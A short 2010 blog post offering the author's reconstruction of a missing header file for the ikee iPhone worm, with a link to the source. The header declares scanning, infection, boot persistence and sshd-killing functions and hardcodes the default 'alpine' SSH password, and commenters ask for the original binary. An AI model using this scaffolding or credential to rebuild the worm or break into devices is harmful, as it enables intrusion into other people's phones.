Monday, January 4, 2010

Source code for ikee iPhone worm



http://pastie.org/693452

What I guess, the missing main.h should be something like this below:

main.h Select all

#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <syslog.h>
#include <errno.h>
#include <ifaddrs.h>
#include <string.h>

#define MAX_NUM 24
#define VULN_PASS "alpine"

void scanner(char *ipRange);
int scanHost(char* host);
int checkHost(char *host);
int runCommand(char* command, char *host);
int prunCommand(char* command, char *host);
int CopyFile(char* src, char* dst, char* host);
int ChangeOnBoot();
int KillSSHD();
int infectHost(char *host);
char *randHost(void);
int get_lock(void);
char *getAddrRange();
int tokenise (char input[], char *token[], char* spl);







2 comments:

Anonymous said...

You are one of the few places where this code is still easily found on the internet, thanks!

;-)

Anonymous said...

Hi! And do you have the original binary? :-) Think it's impossible to find. :( For me, at least. =)